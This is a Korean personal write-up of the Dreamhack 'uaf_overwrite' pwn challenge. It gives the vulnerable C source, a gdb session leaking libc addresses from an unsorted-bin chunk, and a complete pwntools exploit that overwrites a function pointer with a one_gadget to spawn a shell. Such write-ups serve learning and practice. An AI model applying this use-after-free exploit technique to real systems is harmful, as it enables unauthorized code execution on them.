← 전체 Write-Up

Pwn / Dreamhack

Use After Free

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\\n", robot->name); }

void menu() {
  printf("1. Human\\n");
  printf("2. Robot\\n");
  printf("3. Custom\\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}
int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

분석 및 설계

분석


보호 기법

$ checksec uaf_overwrite
[*] '/home/dreamhack/uaf_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

주어진 바이너리에 모든 보호 기법이 적용되어 있다. FULL RELRO 보호 기법으로 인해 GOT를 덮어쓰는 공격은 어렵다. 이럴 때는 라이브러리에 존재하는 훅 또는 코드에서 사용하는 함수 포인터를 덮는 방법을 생각해 볼 수 있다.

코드 분석


예제에는 크기가 같은 Human 과 Robot 구조체가 정의되어 있다. 사용자는 각 구조체 변수 또는 원하는 크기의 청크를 할당하고, 해제할 수 있다.

human_func 함수와 robot_func 함수를 살펴보면, 구조체 변수를 위한 메모리 영역을 할당할 때, 할당한 메모리 영역을 초기화하지 않는다. Human 구조체와 Robot 구조체의 크기는 같으므로, 한 구조체를 해제하고 다른 구조체를 할당하면 해제된 구조체의 값을 사용할 수 있는, Use After Free가 발생한다.

robot_func는 생성한 Robot 변수의 fptr이 NULL이 아니면 이를 호출해주므로, Use After Free로 이 변수에 원하는 값을 남겨놓을 수 있다면, 실행 흐름을 조작할 수 있다.

한편, custom_func 함수를 사용하면 0x100이상의 크기를 갖는 청크를 할당하고 해제할 수 있다. 이 함수에서도 마찬가지로 메모리 영역을 초기화하지 않으므로 Use After Free가 발생할 수 있다.

익스플로잇 설계


Robot.fptr의 값을 원 가젯의 주소로 덮어서 셸을 획득해보자. 이를 위해 libc가 매핑된 주소를 먼저 구해야한다.

1. 라이브러리 릭

코드에 있는 취약점은 Use After Free 밖에 없으므로, 이 취약점을 이용하여 libc가 매핑된 주소를 구해야 한다. 이를 위해 ptmalloc2에서 unsorted bin의 특징을 이용한다. unsorted bin에 처음 연결되는 청크는 libc 영역의 특정 주소와 이중 원형 연결 리스트를 형성한다. 다시 말해, unsorted bin에 처음 연결되는 청크는 fd와 bk의 값으로 libc영역의 특정 주소를 가진다. 따라서 unsorted bin에 연결된 청크를 재할당한 후, UAF 취약점으로 fd나 bk의 값을 읽으면 libc 영역의 특정 주소를 구할 수 있고 오프셋을 빼면 libc가 매핑된 베이스 주소를 계산할 수 있다. 예제의 custom_func 함수는 0x100바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수다. 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있을 것이다. 여기서 주의할 점은, 해제할 청크가 탑 청크와 맞닿으면 안 된다는 것이다. unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합된다. 이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 한다. 탑 청크와 맞닿지 않도록 0x510 크기의 청크를 두 개 생성하고, 처음 생성한 청크를 해제한 후, fd와 bk의 값이 어떻게 되는지 gdb를 사용해서 살펴보자.

$ export LD_PRELOAD=$(realpath ./libc-2.27.so)
$ gdb -q uaf_overwrite
pwndbg> r
Starting program: /home/dreamhack/uaf_overwrite
1. Human
2. Robot
3. Custom
> 3
Size: 1280
Data: a
Data: a

Free idx: -1
1. Human
2. Robot
3. Custom
> 3
Size: 1280
Data: b
Data: b

Free idx: 0
1. Human
2. Robot
3. Custom
>

첫 번재 청크는 1280(0x500)만큼 할당을 요청한 후, 데이터에는 "a"를 입력한다. Free idx:는 -1을 입력하여 아무것도 free() 하지 않도록 만든다. 두 번째 청크도 1280(0x500)만큼 할당을 요청한 후, 데이터에는 "b"를 입력한다. Free idx:는 0을 입력하여 첫 번째 청크를 free()한다. heap 명령어로 청크들의 정보를 살펴보자.

^C [Ctrl+C 로 인터럽트]
Program received signal SIGINT, Interrupt.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555603000
Size: 0x251

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555603250
Size: 0x511
fd: 0x7ffff7dcdca0
bk: 0x7ffff7dcdca0

Allocated chunk
Addr: 0x555555603760
Size: 0x510

Top chunk | PREV_INUSE
Addr: 0x555555603c70
Size: 0x20391
pwndbg> x/10gx 0x555555603250
0x555555603250: 0x0000000000000000  0x0000000000000511
0x555555603260: 0x00007ffff7dcdca0  0x00007ffff7dcdca0
0x555555603270: 0x0000000000000000  0x0000000000000000
0x555555603280: 0x0000000000000000  0x0000000000000000
0x555555603290: 0x0000000000000000  0x0000000000000000
pwndbg>

0x555555603250 가 첫 번째 청크에 해당하고, 0x555555603760 가 두 번째 청크에 해당한다. 첫 번째 청크의 fd 와 bk 를 살펴보면, 0x7ffff7dcdca0 가 저장되어 있다. vmmap 명령어로 살펴보면 0x7ffff7dcdca0 는 libc 영역에 존재하는 주소임을 알 수 있다.

pwndbg> vmmap 0x7ffff7dcdca0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /home/dreamhack/libc-2.27.so +0xca0

따라서 이 주소 값에서 libc가 매핑된 주소를 빼면 오프셋을 구할 수 있다. libc가 매핑된 주소는 vmmap으로 구할 수 있다.

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555400000     0x555555402000 r-xp     2000      0 /home/dreamhack/uaf_overwrite
    0x555555601000     0x555555602000 r--p     1000   1000 /home/dreamhack/uaf_overwrite
    0x555555602000     0x555555603000 rw-p     1000   2000 /home/dreamhack/uaf_overwrite
    0x555555603000     0x555555624000 rw-p    21000      0 [heap]
    0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000      0 /home/dreamhack/libc-2.27.so
    0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /home/dreamhack/libc-2.27.so
    0x7ffff7dc9000     0x7ffff7dcd000 r--p     4000 1e7000 /home/dreamhack/libc-2.27.so
    0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /home/dreamhack/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000      0 [anon_7ffff7dcf]
    0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000      0 /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ff4000     0x7ffff7ff6000 rw-p     2000      0 [anon_7ffff7ff4]
    0x7ffff7ff6000     0x7ffff7ffa000 r--p     4000      0 [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000      0 [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  29000 /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  2a000 /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

libc 즉, /home/dreamhack/libc-2.27.so 파일이 매핑된 베이스 주소는 0x7ffff79e2000이다. 이전에 구한 주소 값에서 libc가 매핑된 주소를 빼면 오프셋을 구할 수 있다.

pwndbg> p/x 0x7ffff7dcdca0 - 0x7ffff79e2000
$1 = 0x3ebca0

따라서 오프셋은 0x3ebca0이다.

2. 함수 포인터 덮어쓰기

Human과 Robot은 같은 크기의 구조체이므로, Human 구조체가 해제되고 Robot 구조체가 할당되면, Robot은 Human이 사용했던 영역을 재사용하게 된다. Robot이 할당될 때, 사용할 메모리 영역을 초기화하지 않으므로 Human에 입력한 값은 그대로 재사용된다.

Human 구조체의 age는 Robot 구조체의 fptr와 위치가 같다. 따라서 human_func를 호출했을 때, age에 원 가젯 주소를 입력하고, 이어서 robot_func를 호출하면 fptr의 위치에 남아있는 원 가젯을 호출할 수 있다.

익스플로잇

라이브러리 릭


custom_func를 이용하여 0x510의 크기를 갖는 청크를 할당하고, 해제한 뒤, 다시 할당해서 libc 영역의 특정 주소를 릭한다. 이때, 릭한 주소와 libc가 매핑된 베이스 주소와의 오프셋은 앞서 살펴본 방법으로 구상할 수 있다.

염두에 두어야할 점은uaf_overwrite 문제의 libc library 주소 leak은 온전한 값이 전달되는 것이 아닌 이용자의 입력 값이 해당 주소 일부 하위 바이트를 덮어쓴 상태에서 출력되므로, 다른 일반적인 문제와 libc 베이스 주소를 계산하기 위한 오프셋을 구하는 방법이 조금 다를 수 있다.

from pwn import *

#p = remote('host3.dreamhack.games',14283)
p = process('./uaf_overwrite')

def slog(sym, val): return success(sym + ': ' + hex(val))

def human(age, weight):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42가 아니라 0x3ebc43이 된다.

# lb = library_base, og = one_gadget
lb = u64(p.recvline()[:-1].ljust(8, b'\\x00')) - 0x3ebc42
og = lb + 0x10a41c  # 제약 조건을 만족하는 원 가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

함수 포인터 덮어쓰기


human->age 와robot->fptr이 구조체 상에서 같은 위치에 있음을 이용하면, Use After Free로 robot->fptr의 값을 원하는 값으로 조작할 수 있다. human->age에 원 가젯의 주소를 입력하고, 해제한 뒤, robot_func를 호출하면 다음과 같이 셸을 획득할 수 있다.

from pwn import *

p = process('./uaf_overwrite')

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 된다.

lb = u64(p.recvline()[:-1].ljust(8, b'\\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원 가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)

p.interactive()

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.